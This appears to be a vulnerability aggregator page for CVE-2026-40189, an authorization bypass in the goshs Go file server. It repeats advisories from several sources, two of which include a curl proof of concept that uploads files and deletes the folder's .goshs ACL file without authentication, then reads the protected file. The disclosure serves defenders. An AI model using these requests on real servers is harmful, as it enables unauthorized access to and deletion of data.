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CVE-2026-40189

goshs has a file-based ACL authorization bypass in goshs state-changing routes

9.3 Critical

goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.4, goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability. This vulnerability is fixed in 2.0.0-beta.4.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.64%Up 0.5 points since Apr 11, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.3

goshs has a file-based ACL authorization bypass in goshs state-changing routes

goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.4, goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability. This vulnerability is fixed in 2.0.0-beta.4.

Record
CVE-2026-40189
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-862
Updated
2026-11-02
EUVDEUVD-2026-21591 9.3

goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.4, goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability. This vulnerability is fixed in 2.0.0-beta.4.

Record
EUVD-2026-21591
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-wvhv-qcqf-f3cx 9.3

goshs has a file-based ACL authorization bypass in goshs state-changing routes

Summary

goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.

Details

The project README explicitly documents file-based ACLs as a security feature:

  • README.md:59 - "You can place a .goshs in any folder to apply custom ACLs"
  • README.md:61 - "You can apply custom basic auth per folder"

The read/list path correctly enforces .goshs:

  • httpserver/filebased.go:10-49 loads .goshs
  • httpserver/handler.go:68-91 calls findSpecialFile() for directories
  • httpserver/handler.go:94-101 calls findSpecialFile() for files
  • httpserver/handler.go:285-305 applies custom auth
  • httpserver/handler.go:545-565 enforces folder auth during directory rendering
  • httpserver/handler.go:590-630 enforces file auth and blocked entries during file serving

However, the state-changing routes bypass this logic entirely:

  • httpserver/server.go:94-100 routes multipart POST /.../upload directly to upload()
  • httpserver/server.go:105-109 routes PUT directly to put()
  • httpserver/handler.go:119-123 dispatches ?mkdir directly to handleMkdir()
  • httpserver/handler.go:181-187 dispatches ?delete directly to deleteFile()
  • httpserver/updown.go:18-60 writes files for PUT without checking .goshs
  • httpserver/updown.go:63-165 writes files for multipart upload without checking .goshs
  • httpserver/handler.go:679-698 deletes files with os.RemoveAll() without checking .goshs
  • httpserver/handler.go:901-937 creates directories with os.MkdirAll() without checking .goshs

This is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because .goshs itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.

PoC

Environment used for verification:

  • Repository/module: github.com/patrickhener/goshs
  • Verified vulnerable tag: v2.0.0-beta.3
  • Also present in the v1.1.4 line based on code inspection
  • Local host: 127.0.0.1:18091

Build and setup:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'
go build -o /tmp/goshs_acl_verify/goshs ./

rm -rf /tmp/goshs_acl_verify/root
mkdir -p /tmp/goshs_acl_verify/root/protected
cp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs
printf 'top secret\n' > /tmp/goshs_acl_verify/root/protected/secret.txt

/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091

In a second terminal:

# The protected folder initially requires auth
curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/'

# Unauthenticated write into the protected folder succeeds
curl -s -o /dev/null -w '%{http_code}\n' -X PUT \
  --data-binary 'injected via PUT' \
  'http://127.0.0.1:18091/protected/put-created.txt'

# Unauthenticated deletion of the ACL file succeeds
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/.goshs?delete'

# The previously protected file is now publicly accessible
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/secret.txt'
curl -s 'http://127.0.0.1:18091/protected/secret.txt'

Expected results:

401
200
200
200
top secret

<img…

Record
GHSA-wvhv-qcqf-f3cx
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
NVD 9.3

goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.4, goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability. This vulnerability is fixed in 2.0.0-beta.4.

Record
CVE-2026-40189
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
OSV 9.3

goshs has a file-based ACL authorization bypass in goshs state-changing routes

goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.4, goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability. This vulnerability is fixed in 2.0.0-beta.4.

Record
CVE-2026-40189
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-862
Updated
2026-11-02
OSVGHSA-wvhv-qcqf-f3cx 9.3

goshs has a file-based ACL authorization bypass in goshs state-changing routes

Summary

goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.

Details

The project README explicitly documents file-based ACLs as a security feature:

  • README.md:59 - "You can place a .goshs in any folder to apply custom ACLs"
  • README.md:61 - "You can apply custom basic auth per folder"

The read/list path correctly enforces .goshs:

  • httpserver/filebased.go:10-49 loads .goshs
  • httpserver/handler.go:68-91 calls findSpecialFile() for directories
  • httpserver/handler.go:94-101 calls findSpecialFile() for files
  • httpserver/handler.go:285-305 applies custom auth
  • httpserver/handler.go:545-565 enforces folder auth during directory rendering
  • httpserver/handler.go:590-630 enforces file auth and blocked entries during file serving

However, the state-changing routes bypass this logic entirely:

  • httpserver/server.go:94-100 routes multipart POST /.../upload directly to upload()
  • httpserver/server.go:105-109 routes PUT directly to put()
  • httpserver/handler.go:119-123 dispatches ?mkdir directly to handleMkdir()
  • httpserver/handler.go:181-187 dispatches ?delete directly to deleteFile()
  • httpserver/updown.go:18-60 writes files for PUT without checking .goshs
  • httpserver/updown.go:63-165 writes files for multipart upload without checking .goshs
  • httpserver/handler.go:679-698 deletes files with os.RemoveAll() without checking .goshs
  • httpserver/handler.go:901-937 creates directories with os.MkdirAll() without checking .goshs

This is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because .goshs itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.

PoC

Environment used for verification:

  • Repository/module: github.com/patrickhener/goshs
  • Verified vulnerable tag: v2.0.0-beta.3
  • Also present in the v1.1.4 line based on code inspection
  • Local host: 127.0.0.1:18091

Build and setup:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'
go build -o /tmp/goshs_acl_verify/goshs ./

rm -rf /tmp/goshs_acl_verify/root
mkdir -p /tmp/goshs_acl_verify/root/protected
cp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs
printf 'top secret\n' > /tmp/goshs_acl_verify/root/protected/secret.txt

/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091

In a second terminal:

# The protected folder initially requires auth
curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/'

# Unauthenticated write into the protected folder succeeds
curl -s -o /dev/null -w '%{http_code}\n' -X PUT \
  --data-binary 'injected via PUT' \
  'http://127.0.0.1:18091/protected/put-created.txt'

# Unauthenticated deletion of the ACL file succeeds
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/.goshs?delete'

# The previously protected file is now publicly accessible
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/secret.txt'
curl -s 'http://127.0.0.1:18091/protected/secret.txt'

Expected results:

401
200
200
200
top secret

<img…

Record
GHSA-wvhv-qcqf-f3cx
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
OSVGO-2026-5728 No score

goshs has a file-based ACL authorization bypass in goshs state-changing routes in github.com/patrickhener/goshs

goshs has a file-based ACL authorization bypass in goshs state-changing routes in github.com/patrickhener/goshs

Record
GO-2026-5728
Updated
2026-11-02
OSVopenSUSE-SU-2026:10542-1 No score

goshs-2.0.0-1.1 on GA media

These are all security issues fixed in the goshs-2.0.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:10542-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/patrickhener/goshs
Go
 through 1.1.4 None known
github.com/patrickhener/goshs
Go
 All versions None known
goshs
openSUSE:Tumbleweed
From an advisory covering 5 CVEs
 before 2.0.0-1.1
2.0.0-1.1
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-40189 is a critical vulnerability (CVSS 9.3) in Goshs, published April 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.64%, the 51st percentile. No source names a fixed version.

References

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Left out here: 1,541 references and the rest of 3 source descriptions. The JSON record has them.

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